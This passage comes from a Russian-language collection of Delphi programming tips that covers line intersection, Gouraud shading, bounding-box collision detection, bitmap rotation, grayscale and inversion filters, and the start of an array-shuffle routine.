  if Lo < iHi then QuickSortAngle(A, Angles, Lo, iHi);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Найти точку пересечения прямых

// determine if 2 line cross given their end-points
function LinesCross(LineAP1, LineAP2, LineBP1, LineBP2 : TPoint) : boolean;
Var
  diffLA, diffLB : TPoint;
  CompareA, CompareB : integer;
begin
  Result := False;

  diffLA := Subtract(LineAP2, LineAP1);
  diffLB := Subtract(LineBP2, LineBP1);

  CompareA := diffLA.X*LineAP1.Y - diffLA.Y*LineAP1.X;
  CompareB := diffLB.X*LineBP1.Y - diffLB.Y*LineBP1.X;

  if ( ((diffLA.X*LineBP1.Y - diffLA.Y*LineBP1.X) < CompareA) xor
       ((diffLA.X*LineBP2.Y - diffLA.Y*LineBP2.X) < CompareA) ) and
     ( ((diffLB.X*LineAP1.Y - diffLB.Y*LineAP1.X) < CompareB) xor
       ((diffLB.X*LineAP2.Y - diffLB.Y*LineAP2.X) < CompareB) ) then
    Result := True;
end;

function LineIntersect(LineAP1, LineAP2, LineBP1, LineBP2 : TPoint) : TPointFloat;
Var
  LDetLineA, LDetLineB, LDetDivInv : Real;
  LDiffLA, LDiffLB : TPoint;
begin
  LDetLineA := LineAP1.X*LineAP2.Y - LineAP1.Y*LineAP2.X;
  LDetLineB := LineBP1.X*LineBP2.Y - LineBP1.Y*LineBP2.X;

  LDiffLA := Subtract(LineAP1, LineAP2);
  LDiffLB := Subtract(LineBP1, LineBP2);

  LDetDivInv := 1 / ((LDiffLA.X*LDiffLB.Y) - (LDiffLA.Y*LDiffLB.X));

  Result.X := ((LDetLineA*LDiffLB.X) - (LDiffLA.X*LDetLineB)) * LDetDivInv;
  Result.Y := ((LDetLineA*LDiffLB.Y) - (LDiffLA.Y*LDetLineB)) * LDetDivInv;
end;

function Subtract(AVec1, AVec2 : TPoint) : TPoint;
begin
  Result.X := AVec1.X - AVec2.X;
  Result.Y := AVec1.Y - AVec2.Y;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Draw a polygon with Gouraud shading?

uses
  Graphics, Dialogs;

TRGBFloat = record
  R : single;
  G : single;
  B : single;
end;

TPointColor = record
  X : integer;
  Y : integer;
  RGB : TRGBFloat;
end;

TPointColorTriangle = array[0..2] of TPointColor;

{This procedure draws a triangular polygon using Gouraud shading.
 You specify the position and colour of the 3 corners and it will
 draw a filled triangle with the colours smoothed out over the
 surface of the polygon. This is used a lot in 3D graphics for
 improved rendering of curved surfaces. The procedure is very fast
 and can be used for realtime 3D animation.}

// fill a traingular polygon using Gouraud shading
procedure T3DModel.GouraudPoly(var ABitmap : TBitmap ; V : TPointColorTriangle);
Var
  LX, RX, Ldx, Rdx : Single;
  Dif1, Dif2 : Single;
  LRGB, RRGB, RGB, RGBdx, LRGBdy, RRGBdy : TRGBFloat;
  RGBT : RGBTriple;
  Scan : PRGBTripleArray;
  y, x, ScanStart, ScanEnd : integer;
  Vmax : byte;
  Right : boolean;
  Temp : TPointColor;
begin
  try

    // sort vertices by Y
    Vmax := 0;
    if V[1].Y > V[0].Y then Vmax := 1;
    if V[2].Y > V[Vmax].Y then Vmax := 2;
    if Vmax <> 2 then begin
      Temp := V[2];
      V[2] := V[Vmax];
      V[Vmax] := Temp;
    end;
    if V[1].Y > V[0].Y then Vmax := 1
                       else Vmax := 0;
    if Vmax = 0 then begin
      Temp := V[1];
      V[1] := V[0];
      V[0] := Temp;
    end;

    Dif1 := V[2].Y - V[0].Y;
    if Dif1 = 0 then Dif1 := 0.001; // prevent EZeroDivide
    Dif2 := V[1].Y - V[0].Y;
    if Dif2 = 0 then Dif2 := 0.001;

    { work out if middle point is to the left or right of the line
      connecting upper and lower points }
    if V[1].X > (V[2].X - V[0].X) * Dif2 / Dif1 + V[0].X then Right := True
                                                         else Right := False;

    // calculate increments in x and colour for stepping through the lines
    if Right then begin
      Ldx := (V[2].X - V[0].X) / Dif1;
      Rdx := (V[1].X - V[0].X) / Dif2;
      LRGBdy.B := (V[2].RGB.B - V[0].RGB.B) / Dif1;
      LRGBdy.G := (V[2].RGB.G - V[0].RGB.G) / Dif1;
      LRGBdy.R := (V[2].RGB.R - V[0].RGB.R) / Dif1;
      RRGBdy.B := (V[1].RGB.B - V[0].RGB.B) / Dif2;
      RRGBdy.G := (V[1].RGB.G - V[0].RGB.G) / Dif2;
      RRGBdy.R := (V[1].RGB.R - V[0].RGB.R) / Dif2;
    end else begin
      Ldx := (V[1].X - V[0].X) / Dif2;
      Rdx := (V[2].X - V[0].X) / Dif1;
      RRGBdy.B := (V[2].RGB.B - V[0].RGB.B) / Dif1;
      RRGBdy.G := (V[2].RGB.G - V[0].RGB.G) / Dif1;
      RRGBdy.R := (V[2].RGB.R - V[0].RGB.R) / Dif1;
      LRGBdy.B := (V[1].RGB.B - V[0].RGB.B) / Dif2;
      LRGBdy.G := (V[1].RGB.G - V[0].RGB.G) / Dif2;
      LRGBdy.R := (V[1].RGB.R - V[0].RGB.R) / Dif2;
    end;

    LRGB := V[0].RGB;
    RRGB := LRGB;

    LX := V[0].X;
    RX := V[0].X;

    // fill region 1
    for y := V[0].Y to V[1].Y - 1 do begin

      // y clipping
      if y > ABitmap.Height - 1 then Break;
      if y < 0 then begin
        LX := LX + Ldx;
        RX := RX + Rdx;
        LRGB.B := LRGB.B + LRGBdy.B;
        LRGB.G := LRGB.G + LRGBdy.G;
        LRGB.R := LRGB.R + LRGBdy.R;
        RRGB.B := RRGB.B + RRGBdy.B;
        RRGB.G := RRGB.G + RRGBdy.G;
        RRGB.R := RRGB.R + RRGBdy.R;
        Continue;
      end;

      Scan := ABitmap.ScanLine[y];

      // calculate increments in color for stepping through pixels
      Dif1 := RX - LX + 1;
      if Dif1 = 0 then Dif1 := 0.001;
      RGBdx.B := (RRGB.B - LRGB.B) / Dif1;
      RGBdx.G := (RRGB.G - LRGB.G) / Dif1;
      RGBdx.R := (RRGB.R - LRGB.R) / Dif1;

      // x clipping
      if LX < 0 then begin
        ScanStart := 0;
        RGB.B := LRGB.B + (RGBdx.B * abs(LX));
        RGB.G := LRGB.G + (RGBdx.G * abs(LX));
        RGB.R := LRGB.R + (RGBdx.R * abs(LX));
      end else begin
        RGB := LRGB;
        ScanStart := round(LX);
      end;
      if RX - 1 > ABitmap.Width - 1 then ScanEnd := ABitmap.Width - 1
                                    else ScanEnd := round(RX) - 1;

      // scan the line
      for x := ScanStart to ScanEnd do begin
        RGBT.rgbtBlue := trunc(RGB.B);
        RGBT.rgbtGreen := trunc(RGB.G);
        RGBT.rgbtRed := trunc(RGB.R);
        Scan[x] := RGBT;
        RGB.B := RGB.B + RGBdx.B;
        RGB.G := RGB.G + RGBdx.G;
        RGB.R := RGB.R + RGBdx.R;
      end;
      // increment edge x positions
      LX := LX + Ldx;
      RX := RX + Rdx;

      // increment edge colours by the y colour increments
      LRGB.B := LRGB.B + LRGBdy.B;
      LRGB.G := LRGB.G + LRGBdy.G;
      LRGB.R := LRGB.R + LRGBdy.R;
      RRGB.B := RRGB.B + RRGBdy.B;
      RRGB.G := RRGB.G + RRGBdy.G;
      RRGB.R := RRGB.R + RRGBdy.R;
    end;

    Dif1 := V[2].Y - V[1].Y;
    if Dif1 = 0 then Dif1 := 0.001;
    // calculate new increments for region 2
    if Right then begin
      Rdx := (V[2].X - V[1].X) / Dif1;
      RX := V[1].X;
      RRGBdy.B := (V[2].RGB.B - V[1].RGB.B) / Dif1;
      RRGBdy.G := (V[2].RGB.G - V[1].RGB.G) / Dif1;
      RRGBdy.R := (V[2].RGB.R - V[1].RGB.R) / Dif1;
      RRGB := V[1].RGB;
    end else begin
      Ldx := (V[2].X - V[1].X) / Dif1;
      LX := V[1].X;
      LRGBdy.B := (V[2].RGB.B - V[1].RGB.B) / Dif1;
      LRGBdy.G := (V[2].RGB.G - V[1].RGB.G) / Dif1;
      LRGBdy.R := (V[2].RGB.R - V[1].RGB.R) / Dif1;
      LRGB := V[1].RGB;
    end;

    // fill region 2
    for y := V[1].Y to V[2].Y - 1 do begin

      // y clipping
      if y > ABitmap.Height - 1 then Break;
      if y < 0 then begin
        LX := LX + Ldx;
        RX := RX + Rdx;
        LRGB.B := LRGB.B + LRGBdy.B;
        LRGB.G := LRGB.G + LRGBdy.G;
        LRGB.R := LRGB.R + LRGBdy.R;
        RRGB.B := RRGB.B + RRGBdy.B;
        RRGB.G := RRGB.G + RRGBdy.G;
        RRGB.R := RRGB.R + RRGBdy.R;
        Continue;
      end;

      Scan := ABitmap.ScanLine[y];

      Dif1 := RX - LX + 1;
      if Dif1 = 0 then Dif1 := 0.001;
      RGBdx.B := (RRGB.B - LRGB.B) / Dif1;
      RGBdx.G := (RRGB.G - LRGB.G) / Dif1;
      RGBdx.R := (RRGB.R - LRGB.R) / Dif1;

      // x clipping
      if LX < 0 then begin
        ScanStart := 0;
        RGB.B := LRGB.B + (RGBdx.B * abs(LX));
        RGB.G := LRGB.G + (RGBdx.G * abs(LX));
        RGB.R := LRGB.R + (RGBdx.R * abs(LX));
      end else begin
        RGB := LRGB;
        ScanStart := round(LX);
      end;
      if RX - 1 > ABitmap.Width - 1 then ScanEnd := ABitmap.Width - 1
                                    else ScanEnd := round(RX) - 1;

      // scan the line
      for x := ScanStart to ScanEnd do begin
        RGBT.rgbtBlue := trunc(RGB.B);
        RGBT.rgbtGreen := trunc(RGB.G);
        RGBT.rgbtRed := trunc(RGB.R);
        Scan[x] := RGBT;
        RGB.B := RGB.B + RGBdx.B;
        RGB.G := RGB.G + RGBdx.G;
        RGB.R := RGB.R + RGBdx.R;
      end;

      LX := LX + Ldx;
      RX := RX + Rdx;

      LRGB.B := LRGB.B + LRGBdy.B;
      LRGB.G := LRGB.G + LRGBdy.G;
      LRGB.R := LRGB.R + LRGBdy.R;
      RRGB.B := RRGB.B + RRGBdy.B;
      RRGB.G := RRGB.G + RRGBdy.G;
      RRGB.R := RRGB.R + RRGBdy.R;
    end;

  except
    ShowMessage('Exception in GouraudPoly Method');
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Detect simple collision and transparency

{
Simple collision detection and transparency, by Erwin Haantjes
DelphiApplicationDiscussion@hotmail.com
--------------------------------------------------------------

It's not uncommon that collision detection in games is one of the most called functions.
There are several ways of doing collision detection and this article describes a method
for 2D games using bounding boxes (rectangles).

Perfect collision detection down to the pixel is of course what (theoretically) is the best.
However, checking each pixel against each other for all objects every frame in a game
is slow, very slow. So a simplier way is needed, this is where bounding boxes comes in.

Imagine that you draw a rectangle, like a frame, around an object (the player spaceship
for examle). Then do the same thing for all the other objects in the game. Now calculate
if these rectangles intercept each other to determine a collision, instead of checking
each pixels. This method is much faster, not as precise, but usually exact enough.

+------------+
|      XX    |
|    XXXXXX  |
|XXXXXXXXXXXX|
|    XXXXXX+-|----------+
|      XX  |X|XX    XXXX|
+------------+ XX  XX   |
           |    XXXX    |
           |   XX  XX   |
           |XXXX    XXXX|
           +------------+

A problem is that sometimes a collision is detected when visually it seems like the object
didn't touch. This usually occurs when any of the objects is shaped like a sphere. To
compensate this we use an offset when checking if the bounding boxes intercept. By making
the bounding boxes slightly smaller than the object itself, detection usually seems accurate
enough. As mentioned before, we sacrifice precision for speed, but this is a way to compensate
the precision to make it "feel" more exact.

Here is the function which does the real collision detection of two objects. In this example
the player's coordinates are R1, while the enemy's coordinates are R2. You can use an
offset for the X and Y coordinates to precize the detection (especially when you using
shaped objects).

}

function CheckBoundryCollision( R1, R2 : TRect; pR : PRect = nil; OffSetY : LongInt = 0; OffSetX : LongInt = 0): boolean; {overload;}
 // Simple collision test based on rectangles.

begin
   // Rectangle R1 can be the rectangle of the character (player)
   // Rectangle R2 can be the rectangle of the enemy
  if( pR <> nil ) then
   begin
    // Simple collision test based on rectangles. We use here the
    // API function IntersectRect() which returns the intersection rectangle.
    with( R1 ) do
     R1:=Rect( Left+OffSetX, Top+OffSetY, Right-(OffSetX * 2), Bottom-(OffSetY * 2));
    with( R2 ) do
     R2:=Rect( Left+OffSetX, Top+OffSetY, Right-(OffSetX * 2), Bottom-(OffSetY * 2));

    Result:=IntersectRect( pR^, R1, R2 );
   end
  else begin
        // Simple collision test based on rectangles. We can also use the
        // API function IntersectRect() but i believe this is much faster.
        Result:=( NOT ((R1.Bottom - (OffSetY * 2) < R2.Top + OffSetY)
          or(R1.Top + OffSetY > R2.Bottom - (OffSetY * 2))
           or( R1.Right - (OffSetX * 2) < R2.Left + OffSetX)
            or( R1.Left + OffSetX > R2.Right - (OffSetX * 2))));
       end;
end;

{
 Also you can make an overloaded function with the same name based on handles (to make it easier).
}

function CheckBoundryCollision( h1, h2 : Hwnd; pR : PRect = nil; OffSetY : LongInt = 0; OffSetX : LongInt = 0): boolean; {overload;}
var
 R1 : TRect;
 R2 : TRect;

begin
 FillChar( R1, SizeOf( R1 ), 0 );
 FillChar( R2, SizeOf( R2 ), 0 );

  // Note: You will get here the REAL screen coordinates.
  // It doesn't matter if a control is placed inside a panel or something.
 GetWindowRect( h1, R1 );
 GetWindowRect( h2, R2 );

 Result:=CheckBoundryCollision( R1, R2, pR, OffsetY, OffSetX );
end;

As an example, the above function may be used in a (threated timer) loop like this to check the player against multiple enemies:

  for i := 0 to Length( Enemies ) - 1 do
   if( CheckCollision( Player.Handle, Enemies[i].Handle, nil, 4, 4 )) then
    GameOver;

{
Bottom line is that usually it's enough if it "looks" real, and less important that
it "is" real. It's a balance between how exact we want it, and how fast we need it to perform.

I have used this methods in a simple game and it just works fine. Let's talk about transparency.
You can use Regions to create special shaped Wincontrols. For example: A TPanel with a TImage
on it (Panel1 and Image1). You can shape the panel to the image using the following examples:
}

function  CreateRegion( Bitmap : TBitmap; Rect : TRect; TransColor : TColor ) : hRgn;
var
 i1, Count   : LongInt;
 x,y         : LongInt;
 c1          : Cardinal;
 c,t         : TColor;
 Msg         : TMsg;

begin

 Result:=0;

 if( NOT Assigned( Bitmap )) then
  Exit;

 Count :=0;

 {if( TransColor = clAutomatic ) then
  }t:=Bitmap.Canvas.Pixels[ Rect.Left, Rect.Top ]
 {else t:=TransColor};

 with( Bitmap.canvas ) do
  for y := Rect.Top to Rect.Bottom do
    begin
      // Sort of the same like Application.ProcessMessages but doesn't require
      // the bulky Forms unit.
     PeekMessage( Msg, 0, 0, 0, PM_REMOVE );

     x:=Rect.Left;

     while( x <= Rect.Right ) do
      begin
       C:=Pixels[ x, y ];

       if( C <> t ) then
        begin
         i1 := x;

          while( C <> t ) do
           begin
            Inc(i1);

            C:=Pixels[ i1, y ];

            if( i1 >= Rect.Right ) then
             Break;
           end;

          c1:=CreateRectRgn( x-Rect.Left,y-Rect.Top, i1-Rect.Left, (y-Rect.Top) + 1 );

          if( count = 0 ) then
           Result:=c1
          else begin
                CombineRgn( Result, Result, c1, RGN_OR );
                DeleteObject( c1 );
               end;

       Inc( Count );
       x := i1;
       Continue;
      end;

      Inc(x);
    end;
  end;

 if( Count = 0 ) and ( Result > 0 ) then
  begin
   DeleteObject( Result );
   Result:=0;
  end;
end;

 // Put this somewhere in your code (for example in the FormCreate event)
 begin
  Image1.Left:=0;
  Image1.Top:=0;
  Image1.AutoSize:=TRUE;
  Panel1.BevelInner:=bvNone;
  Panel1.BevelOuter:=bvNone;
  Panel1.Width:=Image1.Width;
  Panel1.Height:=Image1.Height;

   // Create a region of the bitmap that is inside the image and set the region for the window.
   // Note: In this example the transparent color is black. Make sure the transparent (background) color is
   //       black! To be sure that you using the right color, you can also try this: Image1.Picture.Bitmap.Pixels[ 0, 0 ]
  with( Panel1 ) do
   SetWindowRgn( Handle, CreateRegion( Image1.Picture.Bitmap, Rect( 1, 1, Width, Height ), clBlack ));
 end;

{
Note: When you move the panel it is possible that the bitmap starts to flicker. You can create an
      Message handler for the message WN_EREASEBKGND to avoid the flicker. See the help of Delphi how to
      create new components and/or message handlers if do not know. Here is an example:

      procedure TMyPanel.WMEraseBkgnd(var Message: TWmEraseBkgnd);
      begin
       if( csDesigning in ComponentState ) then
        inherited
       else Message.Result:=1; // Fake erase
      end;

NOTE: Absolutly no warranty to this code. This is just an example. It is possible that you need to make some
improvements to the code to give it a more proffesional behaviour.

This article was aimed towards beginners wanting get into game programming, I'll hope it was helpful.

Regards and good luck,
Erwin Haantjes.
}
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Вращение изображения

Вот быстрый и примитивный способ вращения изображения. Должно работать. По крайней мере хоть какой-то выход из-положения, поскольку Windows этого делать не умеет. Но сначала попробуйте на небольший изображениях.

procedure RotateRight(BitMap: tImage);
var
  FirstC, LastC, c, r: integer;

  procedure FixPixels(c, r: integer);
  var
    SavePix, SavePix2: tColor;
    i, NewC, NewR: integer;
  begin
    SavePix := Bitmap.Canvas.Pixels[c, r];
    for i := 1 to 4 do
    begin
      newc := BitMap.Height - r + 1;
      newr := c;
      SavePix2 := BitMap.Canvas.Pixels[newc, newr];
      Bitmap.Canvas.Pixels[newc, newr] := SavePix;
      SavePix := SavePix2;
      c := Newc;
      r := NewR;
    end;
  end;

begin
  if BitMap.Width <> BitMap.Height then
    exit;
  BitMap.Visible := false;
  with Bitmap.Canvas do
  begin
    firstc := 0;
    lastc := BitMap.Width;
    for r := 0 to BitMap.Height div 2 do
    begin
      for c := firstc to lastc do
      begin
        FixPixels(c, r);
      end;
      inc(FirstC);
      Dec(LastC);
    end;
  end;
  BitMap.Visible := true;
end;

Взято с http://delphiworld.narod.ru

...я думаю над принудительным грубым методом, но его эффективность может быть сомнительна, и не вздумайте пробовать его без сопроцессора!

Сделайте наложение пиксель-на-пиксель из исходного изображение на целевой (используя свойство Canvas.Pixels). Для каждого пикселя осуществите преобразование полярных координат, добавьте компенсирующий угол к полярной координате, затем спозиционируйте это обратно на координаты прямоугольника, и разместите пиксель с новыми координатами на целевом изображении. Также вы можете добавлять какой-либо псевдослучайный пиксель через определенное их количество, если хотите задать какую-то точность вашей операции.

Для преобразования X- и Y-координат объявлены следующие переменные:

X,Y = старые координаты пикселя
X1,Y1 = новые координаты пикселя
T = угол вращения (в радианах)

R, A - промежуточные величины, представляющие собой полярные координаты

R = Sqrt(Sqr(X) + Sqr(Y));

A = Arctan(Y/X);

X1 = R * Cos(A+T);

Y1 = R * Sin(A+T);
Я отдаю себе отчет, что это не оптимальное решение, поэтому, если вы найдете еще какое-либо решение, дайте мне знать. В действительности мой метод работает, но делает это очень медленно.

Создайте наложение пиксель-на-пиксель исходного изображение на целевое (используя свойство Canvas.Pixels).
...это хорошее начало, но я думаю другой способ будет немного лучшим. Создайте наложение пиксель-на-пиксель целевого изображения на исходное так, чтобы нам было нужно вычислять откуда брать нужные пиксели, а не думать над тем, куда их нужно поместить.

Для начала вот мой вариант формулы вращения:

x, y = координаты в целевом изображении
t = угол
u, v = координаты в исходном изображении

x = u * cos(t) - v * sin(t)
y = v * cos(t) + u * sin(t)
Теперь, если я захочу решить эти уравнения и вычислить u и v (привести их к правой части уравнения), то формулы будут выглядеть следующим образом (без гарантии, по этой причине я и включил исходные уравнения!):
      x * cos(t) + y
u = --------------------
    sqr(cos(t)) + sin(t)

v =   y * cos(t) - x
    --------------------
    sqr(cos(t)) + sin(t)
Так, подразумевая, что вы уже знаете угол вращения, можно вычислить константы cos(t) и 1/sqr(cos(t))+sin(t) непосредственно перед самим циклом; это может выглядеть примерно так (приблизительный код):

ct := cos(t);
ccst := 1/sqr(cos(t))+sin(t);
for x := 0 to width do

for y := 0 to height do
dest.pixels[x,y] := source.pixels[Round((x * ct + y) * ccst),
Round((y * ct - x) * ccst)];

Если вы хотите ускорить этот процесс, и при этом волнуетесь за накопление ошибки округления, то вам следует обратить внимание на используемую нами технологию: мы перемещаем за один раз один пиксель, дистанция между пикселями равна u, v содержит константу, определяющую колонку с перемещаемым пикселем. Я использую расчитанные выше переменные как рычаг с коротким плечом (с вычисленной длиной и точкой приложения). Просто поместите в (x,y) = (1,0) и (x,y) = (0,1) и уравнение, приведенное выше:

duCol := ct * ccst;
dvCol := -ccst;

duRow := ccst;
dvRow := ct * ccst;

uStart := 0;
vStart := 0;

for x := 0 to width do
begin
  u := uStart;
  v := vStart;
  for y := 0 to height do
  begin
    dest.pixels[x, y] := source.pixels[Round(u), Round(v)];
    u := u + rowdu;
    v := v + rowdv;
  end;
  uStart := uStart + duCol;
  vStart := vStart + dvCol;
end;

Приведенный выше код можно использовать "как есть", и я не даю никаких гарантий отностительно его использования!

Если вы в душе испытатель, и хотите попробовать вращение вокруг произвольной точки, попробуйте поиграться со значенияим u и v:

Xp, Yp (X-sub-p, Y-sub-p) точка оси вращения, другие константы определены выше
x = Xp + (u - Xp) * cos(t) - (y - Yp) * sin(t)
y = Yp + (y - Yp) * cos(t) - (x - Xp) * sin(t)
Оригинальные уравнения:
  x = u * cos(t) - v * sin(t)
  y = v * cos(t) + u * sin(t)
верны, но когда я решаю их для u и v, я получаю это:
      x * cos(t) + y * sin(t)
  u = -----------------------
     sqr(cos(t)) + sqr(sin(t))

      y * cos(t) - x * sin(t)
  v = ------------------------
      sqr(cos(t)) + sqr(sin(t))

Взято с http://delphiworld.narod.ru

{**** UBPFD *********** by delphibase.endimus.ru ****
>> Вращение изображения на заданный угол

Зависимости: Windows, Classes, Graphics
Автор:       Fenik, chook_nu@uraltc.ru, Новоуральск
Copyright:   Автор Федоровских Николай
Дата:        2 июня 2002 г.
**************************************************** }

procedure RotateBitmap(Bitmap: TBitmap; Angle: Double; BackColor: TColor);
type TRGB = record
       B, G, R: Byte;
     end;
     pRGB = ^TRGB;
     pByteArray = ^TByteArray;
     TByteArray = array[0..32767] of Byte;
     TRectList = array [1..4] of TPoint;

var x, y, W, H, v1, v2: Integer;
    Dest, Src: pRGB;
    VertArray: array of pByteArray;
    Bmp: TBitmap;

  procedure SinCos(AngleRad: Double; var ASin, ACos: Double);
  begin
    ASin := Sin(AngleRad);
    ACos := Cos(AngleRad);
  end;

  function RotateRect(const Rect: TRect; const Center: TPoint; Angle: Double): TRectList;
  var DX, DY: Integer;
      SinAng, CosAng: Double;
    function RotPoint(PX, PY: Integer): TPoint;
    begin
      DX := PX - Center.x;
      DY := PY - Center.y;
      Result.x := Center.x + Round(DX * CosAng - DY * SinAng);
      Result.y := Center.y + Round(DX * SinAng + DY * CosAng);
    end;
  begin
    SinCos(Angle * (Pi / 180), SinAng, CosAng);
    Result[1] := RotPoint(Rect.Left, Rect.Top);
    Result[2] := RotPoint(Rect.Right, Rect.Top);
    Result[3] := RotPoint(Rect.Right, Rect.Bottom);
    Result[4] := RotPoint(Rect.Left, Rect.Bottom);
  end;

  function Min(A, B: Integer): Integer;
  begin
    if A < B then Result := A
             else Result := B;
  end;

  function Max(A, B: Integer): Integer;
  begin
    if A > B then Result := A
             else Result := B;
  end;

  function GetRLLimit(const RL: TRectList): TRect;
  begin
    Result.Left := Min(Min(RL[1].x, RL[2].x), Min(RL[3].x, RL[4].x));
    Result.Top := Min(Min(RL[1].y, RL[2].y), Min(RL[3].y, RL[4].y));
    Result.Right := Max(Max(RL[1].x, RL[2].x), Max(RL[3].x, RL[4].x));
    Result.Bottom := Max(Max(RL[1].y, RL[2].y), Max(RL[3].y, RL[4].y));
  end;

  procedure Rotate;
  var x, y, xr, yr, yp: Integer;
      ACos, ASin: Double;
      Lim: TRect;
  begin
    W := Bmp.Width;
    H := Bmp.Height;
    SinCos(-Angle * Pi/180, ASin, ACos);
    Lim := GetRLLimit(RotateRect(Rect(0, 0, Bmp.Width, Bmp.Height), Point(0, 0), Angle));
    Bitmap.Width := Lim.Right - Lim.Left;
    Bitmap.Height := Lim.Bottom - Lim.Top;
    Bitmap.Canvas.Brush.Color := BackColor;
    Bitmap.Canvas.FillRect(Rect(0, 0, Bitmap.Width, Bitmap.Height));
    for y := 0 to Bitmap.Height - 1 do begin
      Dest := Bitmap.ScanLine[y];
      yp := y + Lim.Top;
      for x := 0 to Bitmap.Width - 1 do begin
        xr := Round(((x + Lim.Left) * ACos) - (yp * ASin));
        yr := Round(((x + Lim.Left) * ASin) + (yp * ACos));
        if (xr > -1) and (xr < W) and (yr > -1) and (yr < H) then begin
          Src := Bmp.ScanLine[yr];
          Inc(Src, xr);
          Dest^ := Src^;
        end;
        Inc(Dest);
      end;
    end;
  end;

begin
  Bitmap.PixelFormat := pf24Bit;
  Bmp := TBitmap.Create;
  try
    Bmp.Assign(Bitmap);
    W := Bitmap.Width - 1;
    H := Bitmap.Height - 1;
    if Frac(Angle) <> 0.0
      then Rotate
      else
    case Trunc(Angle) of
      -360, 0, 360, 720: Exit;
      90, 270: begin
        Bitmap.Width := H + 1;
        Bitmap.Height := W + 1;
        SetLength(VertArray, H + 1);
        v1 := 0;
        v2 := 0;
        if Angle = 90.0 then v1 := H
                        else v2 := W;
        for y := 0 to H do VertArray[y] := Bmp.ScanLine[Abs(v1 - y)];
        for x := 0 to W do begin
          Dest := Bitmap.ScanLine[x];
          for y := 0 to H do begin
            v1 := Abs(v2 - x)*3;
            with Dest^ do begin
              B := VertArray[y, v1];
              G := VertArray[y, v1+1];
              R := VertArray[y, v1+2];
            end;
            Inc(Dest);
          end;
        end
      end;
      180: begin
        for y := 0 to H do begin
          Dest := Bitmap.ScanLine[y];
          Src := Bmp.ScanLine[H - y];
          Inc(Src, W);
          for x := 0 to W do begin
            Dest^ := Src^;
            Dec(Src);
            Inc(Dest);
          end;
        end;
      end;
      else Rotate;
    end;
  finally
    Bmp.Free;
  end;
end;

Пример использования:

RotateBitmap(FBitmap, 17.23, clWhite);

Взято из http://forum.sources.ru


За какое время было создано изображение

При нажатии на Button1 используется свойство Pixels, а при нажатии на Button2 - ScanLine. В заголовок окна выводится время в миллисекундах, за которое было создано изображение.

procedure TForm1.Button1Click(Sender: TObject);
var
  t: cardinal;
  x, y: integer;
  bm: TBitmap;
begin
  bm := TBitmap.Create;
  bm.PixelFormat := pf24bit;
  bm.Width := Form1.ClientWidth;
  bm.Height := Form1.ClientHeight;
  t := GetTickCount;
  for y := 0 to bm.Height - 1 do
    for x := 0 to bm.Width - 1 do
    bm.Canvas.Pixels[x,y] := RGB(x+y, x-y, y-x);
  Form1.Caption := IntToStr(GetTickCount - t);
  Form1.Canvas.Draw(0, 0, bm);
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  t: cardinal;
  x, y: integer;
  bm: TBitmap;
  p: PByteArray;
begin
  bm := TBitmap.Create;
  bm.PixelFormat := pf24bit;
  bm.Width := Form1.ClientWidth;
  bm.Height := Form1.ClientHeight;
  t := GetTickCount;
  for y := 0 to bm.Height - 1 do
  begin
    p := bm.ScanLine[y];
    for x := 0 to bm.Width - 1 do
    begin
      p^[x*3] := x+y;
      p^[x*3+1] := x-y;
      p^[x*3+2] := y-x;
    end;
  end;
  Form1.Caption := IntToStr(GetTickCount - t);
  Form1.Canvas.Draw(0, 0, bm);
end;
Даниил Карапетян.
На сайте http://delphi4all.narod.ru Вы найдете еще более 100 советов по Delphi.
Email: delphi4all@narod.ru


Преобразование изображения в оттенки серого

// Используется функция преобразования изображения в оттенки серого
  // взятая из UBPFD - http://delphibase.endimus.com/
  // автор: Николай Федоровских - mailto: chook_nu@uraltc.ru
  procedure ModColors(Bitmap: TBitmap; Color: TColor);
    function GetR(const Color: TColor): Byte;
    //извлечение красного
    begin
      Result := Lo(Color);
    end;
    function GetG(const Color: TColor): Byte;
    //извлечение зелёного
    begin
      Result := Lo(Color shr 8);
    end;
    function GetB(const Color: TColor): Byte;
    //извлечение синего
    begin
      Result := Lo((Color shr 8) shr 8);
    end;
    function BLimit(B: Integer): Byte;
    begin
      if B < 0 then Result := 0
        else if B > 255 then Result := 255
          else Result := B;
    end;
  type TRGB = record
         B, G, R: Byte;
       end;
       pRGB = ^TRGB;
  var r1, g1, b1: Byte;
      x, y: Integer;
      Dest: pRGB;
      A: Double;
  begin
    Bitmap.PixelFormat := pf24Bit;
    r1 := Round(255 / 100 * GetR(Color));
    g1 := Round(255 / 100 * GetG(Color));
    b1 := Round(255 / 100 * GetB(Color));
    for y := 0 to Bitmap.Height - 1 do begin
      Dest := Bitmap.ScanLine[y];
      for x := 0 to Bitmap.Width - 1 do begin
        with Dest^ do begin
          A := (r + b + g) / 300;
          with Dest^ do begin
            R := BLimit(Round(r1 * A));
            G := BLimit(Round(g1 * A));
            B := BLimit(Round(b1 * A));
            // Небольшая поправка к оригинальной функции
            if (R=255) and (G=255) and (B=255) then begin
              R:= 216;
              G:= 212;
              B:= 240;
            end;
          end;
        end;
        Inc(Dest);
      end;
    end;
  end;

пример использования:
ModColors(BitMap, RGB(150,150,150));

Взято из http://forum.sources.ru


Инверсия всех цветов в TBitmap

function InvertBitmap(Bmp: TBitmap): TBitmap;
var
  x, y: integer;
  ByteArray: PByteArray;
begin
  Bmp.PixelFormat := pf24Bit;
  for y := 0 to Bmp.Height - 1 do
  begin
    ByteArray := Bmp.ScanLine[y];
    for x := 0 to Bmp.Width * 3 - 1 do
    begin
      ByteArray[x] := 255 - ByteArray[x];
    end;
  end;
  Result := Bmp;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Image1.Picture.Bitmap := InvertBitmap(Image1.Picture.Bitmap);
end;

Автор: Song

Взято из http://forum.sources.ru


Статистика и теория вероятности

Cодержание раздела:

Как получить неповторяющиеся случайные числа?

См. также статьи в других разделах:
Math - математика, статистика, финансы


Как получить неповторяющиеся случайные числа?

procedure Shuffle(var aArray; aItemCount: Integer; aItemSize: Integer);
  { after Julian M Bucknall }
var
  Inx: Integer;
  RandInx: Integer;
  SwapItem: PByteArray;
  A: TByteArray absolute aArray;
begin
  if (aItemCount > 1) then
  begin
    GetMem(SwapItem, aItemSize);
    try
      for Inx := 0 to (aItemCount - 2) do
      begin
        RandInx := Random(aItemCount - Inx);
